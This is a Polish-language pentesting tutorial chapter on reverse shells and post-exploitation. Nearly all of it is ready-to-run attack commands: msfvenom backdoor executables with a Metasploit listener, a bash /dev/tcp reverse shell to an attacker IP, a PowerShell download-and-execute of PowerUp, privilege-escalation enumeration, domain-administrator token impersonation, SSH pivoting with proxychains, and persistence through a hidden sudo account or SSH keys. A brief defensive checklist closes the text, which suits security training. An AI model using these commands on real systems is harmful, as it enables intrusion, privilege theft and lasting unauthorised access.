Reverse Shell i Post-Exploitation
Po udanym przejęciu systemu atakujący może chcieć utrzymać dostęp, przechwycić dane, wykonać dalsze eskalacje uprawnień lub zainstalować backdoora. W tej sekcji omówimy, jak tworzyć reverse shell, przejmować sesje oraz utrwalać dostęp do systemu.
Tworzenie backdoora
Backdoor to ukryte wejście do systemu, które pozwala atakującemu na ponowne zalogowanie się bez wiedzy administratora.
1️⃣ Tworzenie backdoora w Metasploit
Metasploit umożliwia generowanie złośliwych plików wykonywalnych:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f exe > backdoor.exe
Jeśli atakowany system to Linux:
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f elf > backdoor.elf
Uruchomienie backdoora
Na maszynie atakującego uruchamiamy listener w Metasploit:
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.1.100
set LPORT 4444
exploit
Po otwarciu pliku backdoor.exe przez ofiarę, uzyskujemy zdalny dostęp do systemu.
Przechwytywanie sesji
Reverse Shell pozwala na pełną interakcję z systemem ofiary.
2️⃣ Uzyskanie Reverse Shell przez Netcat
Atakujący otwiera listener:
nc -lvnp 4444
Ofiara uruchamia payload:
bash -i >& /dev/tcp/192.168.1.100/4444 0>&1
Po uruchomieniu polecenia, atakujący uzyskuje interaktywną powłokę.
3️⃣ Stabilizacja powłoki
Surowy reverse shell często nie obsługuje Ctrl+C, tabulacji ani edycji linii. Upgrade do w pełni interaktywnej powłoki:
# krok 1 – spawn PTY przez Python
python3 -c 'import pty; pty.spawn("/bin/bash")'
# krok 2 – w tle (Ctrl+Z), ustaw rozmiar terminala i wróć
stty raw -echo; fg
# krok 3 – poprawka zmiennych środowiskowych
export TERM=xterm
export SHELL=bash
Po tych krokach masz pełną interaktywną powłokę z historią, autouzupełnianiem i sygnałami.
Eskalacja uprawnień – Windows
4️⃣ Rozpoznanie środowiska Windows
Pierwsze kroki po uzyskaniu shella na Windows:
systeminfo
tasklist /v
whoami /priv
net user
net localgroup administrators
systeminfo ujawnia wersję OS i brakujące hotfixy — kluczowe do wyboru exploita.
5️⃣ WinPEAS – automatyczne wykrywanie wektorów
W sesji Meterpreter lub na docelowej maszynie:
# upload z Kali
upload /usr/share/peass/winpeas/winPEASany.exe C:\\Windows\\Temp\\wp.exe
# wykonanie na Windows
shell
C:\Windows\Temp\wp.exe
6️⃣ PowerUp – eskalacja przez błędną konfigurację
PowerUp wykrywa błędnie skonfigurowane usługi, DLL hijacking, AlwaysInstallElevated:
# w sesji Meterpreter
load powershell
powershell_execute "IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.100/PowerUp.ps1'); Invoke-AllChecks"
7️⃣ Metasploit Local Exploit Suggester
W aktywnej sesji Meterpreter:
use post/multi/recon/local_exploit_suggester
set SESSION 1
run
Suggester wskazuje gotowe moduły exploit/windows/local/ pasujące do wersji OS i uprawnień.
🎭 Impersonacja tokenów (Incognito)
Windows korzysta z tokenów dostępu — jeśli uprzywilejowany użytkownik jest zalogowany, można ukraść jego tożsamość bez znajomości hasła.
8️⃣ Incognito w Meterpreter
# załaduj moduł incognito
use incognito
# wyświetl dostępne tokeny
list_tokens -u
# impersonuj token administratora domenowego
impersonate_token "DOMAIN\\Administrator"
# weryfikacja
getuid
Jeśli list_tokens pokazuje token z grupy BUILTIN\Administrators, impersonacja daje pełny dostęp do systemu.
🔀 Pivoting przez tunelowanie SSH
Pivoting pozwala atakować hosty wewnętrzne niedostępne bezpośrednio z Kali — wymagany skompromitowany host z dostępem SSH.
9️⃣ Local Port Forward (ssh -L)
Przekieruj port usługi wewnętrznej na lokalny port Kali:
# składnia: ssh -L <lokalny-port>:<host-docelowy>:<port-docelowy> user@pivot-host
ssh -L 8080:192.168.2.10:80 [email protected]
Po uruchomieniu http://localhost:8080 na Kali trafia do 192.168.2.10:80 przez hosta pivot.
1️⃣0️⃣ Dynamic SOCKS Proxy (ssh -D)
Otwiera lokalny proxy SOCKS5 — cały ruch Kali można kierować przez hosta pivot:
ssh -D 9050 [email protected]
Skonfiguruj Proxychains (/etc/proxychains4.conf):
socks5 127.0.0.1 9050
Teraz można używać dowolnego narzędzia przez proxy:
proxychains nmap -sT -Pn 192.168.2.0/24
proxychains sqlmap -u "http://192.168.2.10/app.php?id=1"
🐧 Eskalacja uprawnień – Linux
1️⃣1️⃣ LinPEAS i sprawdzenie sudo
sudo -l
Jeśli istnieje dostęp do sudo bez hasła:
sudo /bin/bash
LinPEAS — automatyczne wykrywanie wektorów na Linux:
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh
Utrwalanie dostępu
1️⃣2️⃣ Konto użytkownika i SSH
sudo useradd -m -s /bin/bash hacker
sudo passwd hacker
sudo usermod -aG sudo hacker
Lub dodaj klucz SSH do ~/.ssh/authorized_keys.
Jak zabezpieczyć system przed backdoorami i reverse shell?
✅ Monitorowanie aktywności sieciowej i nietypowego ruchu na nietypowych portach ✅ Blokowanie Netcata i innych narzędzi używanych w atakach ✅ Używanie EDR (Endpoint Detection & Response) do wykrywania podejrzanych działań ✅ Regularne skanowanie systemów pod kątem nowych użytkowników i kluczy SSH ✅ Ograniczenie uprawnień i segmentacja sieci
Reverse Shell i Post-Exploitation to kluczowe elementy zaawansowanego pentestingu. Kolejnym krokiem będzie Łamanie haseł offline (Hashcat i John the Ripper)! 🚀